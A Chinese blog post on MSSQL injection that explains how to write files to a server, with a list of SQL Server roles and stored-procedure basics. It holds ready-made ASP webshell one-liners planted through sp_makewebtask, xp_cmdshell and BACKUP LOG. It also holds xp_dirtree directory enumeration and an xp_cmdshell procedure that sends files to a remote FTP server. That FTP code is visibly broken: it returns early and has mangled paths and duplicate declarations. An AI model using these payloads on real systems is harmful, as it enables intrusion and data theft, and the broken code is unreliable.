对MSSQL文件操作分析

Posted by volcanohatred on February 19, 2019

前几天有一个面试,面试官问到一个问题,是关于mssql注入。当时信号不好没太听清楚,就瞎答,说到通过mssql写文件的时候,卡住了。之前在渗透测试中碰到过拿到mssql数据库密码然后上传木马的情况。只不过是借助工具进行上传,没有深刻理解原理,导致场面一度很尴尬。所以还得继续学习啦。本文就说说关于mssql操作文件的方法和其依赖的基础。

MSSQL数据库权限

sa:数据库操作,文件管理,命令执行,注册表读取等
db:文件管理,数据库操作等
public:数据库操作
sysadmin:执行SQL Server中的任何动作 serveradmin:配置服务器设置
setupadmin:安装复制和管理扩展过程
securityadmin:管理登录和CREATE DATABASE的权限
processadmin:管理SQL Server进程
dbcreator:创建和修改数据库
diskadmin:管理磁盘文件

MSSQL存储过程

  1. 系统存储过程
    以前缀”sp_“来标识,系统存储过程是 SQL Server系统自身提供的存储过程,可以作为命令执行各种操作。
  2. 用户存储过程
    用户自定义存储,需要一定语法格式支持,下文介绍。
  3. 扩展存储过程
    以前缀”xp_“来标识。扩展存储过程是以在SQL SERVER环境外执行的动态连接(DLL文件)来实现的,可以加载到SQL SERVER实例运行的地址空间中执行。扩展存储过程可以用SQL SERVER扩展存储过程API编程。

通过MSSQL写文本文件

sa权限下,可以使用sp_makewebtask,xp_cmdshell

sp_makewebtask
exec sp_makewebtask  '可读写路径','select''<%execute(request("cmd"))%>'''
xp_cmdshell  
exec xp_cmdshell 'echo "<%execute(request("cmd"))%>">> 可读写路径)'

db权限下:(在数据库有备份的情况下才能使用)

目录情况:
create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));--  
insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1-- 
select dir from temp where id=1  通过修改id来遍历目录
写数据 
alter database 数据库名 set RECOVERY FULL  开启恢复模式full,当恢复模式为 SIMPLE 时,不允许使用 BACKUP LOG 语句。
create table test(str image)--    
insert into test(str)values ('<%execute(request("cmd"))%>')--  
backup log 数据库名 to disk='c:\可读写路径\x.asp'--  这里的目录注意是可读写目录,不然会出问题
alter database 数据库名 set RECOVERY simple-- 关闭恢复模式full

上面说的情况只是针对文本文件,当然如果可以通过数据库上传任意文件岂不完美?直接传马不就行啦?下面就说说通过MSSQL存储过程进行任意文件的操作。

通过MSSQL上传任意文件

先说说存储过程基础:
实现存储过程

CREATE { PROC | PROCEDURE } [schema_name.] procedure_name [ ; number ] 
             [ { @parameter [ type_schema_name. ] data_type } [ VARYING ] [ = default ] [ [ OUT [ PUT ] ] --名称、类型、默认值、方向
             [ ,...n ] 
         [ WITH <procedure_option> [ ,...n ]
         [ FOR REPLICATION ] 
         AS 
           { <sql_statement> [;][ ...n ] | <method_specifier> } --SQL语句
         [;]
         <procedure_option> ::= 
             [ ENCRYPTION ]
             [ RECOMPILE ] --运行时编译
             [ EXECUTE_AS_Clause ]
         <sql_statement> ::= { [ BEGIN ] statements [ END ] }
         <method_specifier> ::= EXTERNAL NAME assembly_name.class_name.method_name

执行存储过程
使用 Transact-SQL EXECUTE 语句。如果存储过程是批处理中的第一条语句,那么不使用 EXECUTE 关键字也可以执行存储过程。使用 sp_procoption 让SQLSERVER 自动执行存储过程。

sp_procoption [ @ProcName = ] 'procedure' , [ @OptionName = ] 'option'    , [ @OptionValue = ] 'value' --过程的名称、option 的唯一值为 startup、设置为开启(true 或 on)还是关闭(false 或 off)。

上面一大堆挺多的,先说说基本的使用:

  create procedure test(自定义名称)
  as
  select * from .... (要执行的sql语句)
go

这就是一个简单的存储过程。下面可以输入:execute test即可执行。
需要注意,执行的时候我们只需要execute(执行) 存储过程名,就可以了。procedure 和 execute 可以分别缩写为 proc 和 exec。
上面的例子没有带参数,下面说一个带参数的例子:

  create proc test
  @ var varchar(10)
as
select * from student where sno = @ ssno
go

"@ 变量名"是sql 中用来表示用户自定义的参数的方法,"@@变量名",用来表示系统自带的,不能随便改动。执行带参数的存储过程,需要使用如下语句:

exec test 值

也可以不带参数,但是必须在创建存储过程中加参数赋值,可以赋Null。 在网上看到一篇文章,讲的是游标的存储过程,贴出来:游标的存储过程
另外,变量分为全局和局部,和其他语言一样,像上面的’@ var varchar(10)’就是全局变量,局部变量的命名使用declare命令:declare{@变量名 数据类型}
局部变量的赋值:set{@变量名=表达式}或者select{@变量名=表达式}
举个例子:

declare @var1 int
set @var1=1
declare @var2 nvarchar(50) 
select @var2=1

上面就是一些基础啦,当然还有很多细节东西和很多用法和命令,以后用到再慢慢学习。
应用实例
通过Sqlserver存储过程上传文件
调用方式:
execute SysFtptobak ‘c:/1.txt’,’192.168.0.1’,’a’,’1’

CREATE  proc dbo.SysFtptobak
@Filename varchar(128), --Ftp传输的文件名字
@FtpIp varchar(16), --Ftp服务器地址
@FtpUser varchar(32),--服务器服务器登陆帐号
@FtpPwd varchar(32) --服务器服务器登陆帐号对应的密码
as
return -1 
set nocount on  当 SET NOCOUNT 为 ON 时,不返回计数(表示受 Transact-SQL 语句影响的行数)。当 SET NOCOUNT 为 OFF 时,返回计数。
declare @cmd varchar(255), @txt varchar(255)
declare @FtpIp varchar(16),@FtpUser varchar(32),FtpPwd varchar(32)
exec master.dbo.xp_cmdshell 'echo user '+ @FtpUser +'>C:Dbbdk tp.scp'
exec master.dbo.xp_cmdshell 'echo '+ FtpPwd +'>>C:Dbbdk tp.scp'
exec master.dbo.xp_cmdshell 'echo lcd c:Dbbdk>>C:Dbbdk tp.scp'
exec master.dbo.xp_cmdshell 'echo bin>>C:Dbbdk tp.scp'
set @cmd='echo put ' + @Filename + '>>C:Dbbdk tp.scp'
exec master.dbo.xp_cmdshell @cmd
exec master.dbo.xp_cmdshell 'echo bye>>C:Dbbdk tp.scp'
exec master.dbo.xp_cmdshell 'ftp -i -n -s:c:Dbbdk tp.scp '+ @FtpIp +''
return 0
GO

通过Sqlserver存储过程读写文件

create table tb (img image);
 
--数据导入
 exec sp_binaryIO '.', 'sa', '', 'test..tb', 'img', 'c:/abc.jpg', 0 
 
--数据导出 
 exec sp_binaryIO '.', 'sa', '', 'test..tb', 'img', 'c:/a.jpg', 1
 
drop table tb;
 
--*/ 
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[sp_binaryIO]') and OBJECTPROPERTY(id, N'IsProcedure') = 1) 
drop procedure [dbo].[sp_binaryIO] 
GO
 
Create proc sp_binaryIO 
	@servename varchar (30),	--服务器名称 
	@username varchar (30), 	--用户名 
	@password varchar (30), 	--密码 
	@tbname varchar (500),  	--数据库..表名 
	@fdname varchar (30),  		--字段名 
	@fname varchar (1000), 		--目录+文件名
	@isout bit=1   			--1导出((默认), 0导入 
AS 
declare @fname_in varchar(1000), 	--bcp处理应答文件名 
	@fsize varchar(20),   		--要处理的文件的大小 
	@m_tbname varchar(50),  	--临时表名 
	@sql varchar(8000)
 
--取得导入文件的大小 
if @isout=1 
	set @fsize = '0'
else 
begin 
 	create table #tb(可选名 varchar(20), 大小 int, 创建日期 varchar(10), 创建时间 varchar(20),
		上次写操作日期 varchar(10), 上次写操作时间 varchar(20), 上次访问日期 varchar(10),
		上次访问时间 varchar(20), 特性 int) 
	insert into #tb exec master..xp_getfiledetails @fname 
 	select @fsize = 大小 from #tb
 	drop table #tb 
 	if @fsize is null 
	begin 
  		print '文件未找到'
  		return 
	end
end
 
--生成数据处理应答文件 
set @m_tbname = '[##temp' + cast(newid() as varchar(40)) + ']'
set @sql = 'select * into ' + @m_tbname + ' from ( 
 select null as 类型 
 union all select 0 as 前缀 
 union all select ' + @fsize + ' as 长度 
 union all select null as 结束 
 union all select null as 格式 
 ) a'
exec(@sql) 
select @fname_in = @fname + '_temp', 
	@sql = 'bcp "' + @m_tbname + '" out "' + @fname_in + '" /S"' + @servename 
		 + case when isnull(@username,'') = '' then '' else '" /U"' + @username end 
		 + '" /P"' + isnull(@password, '') + '" /c' 
exec master..xp_cmdshell @sql
 
--删除临时表 
set @sql = 'drop table ' + @m_tbname 
exec(@sql)
 
if @isout=1 
begin 
	-- 导出
 	set @sql = 'bcp "select top 1 ' + @fdname + ' from ' + @tbname
		+ '" queryout "' + @fname + '" /S"' + @servename 
		+ case when isnull(@username,'') = '' then '' else '" /U"' + @username end 
		+ '" /P"' + isnull(@password,'')
		+ '" /i"' + @fname_in + '"' 
	exec master..xp_cmdshell @sql 
end 
else 
begin 
	-- 导入
	set @sql = 'bcp "'+ @tbname + '" in "' + @fname 
		+ '" /S"' + @servename 
		+ case when isnull(@username,'')='' then '' else '" /U"' + @username end 
		+ '" /P"' + isnull(@password, '') + '" /i"' + @fname_in + '"' 
	exec master..xp_cmdshell @sql
end
--删除数据处理应答文件 
set @sql = 'del ' + @fname_in 
exec master..xp_cmdshell @sql
go

>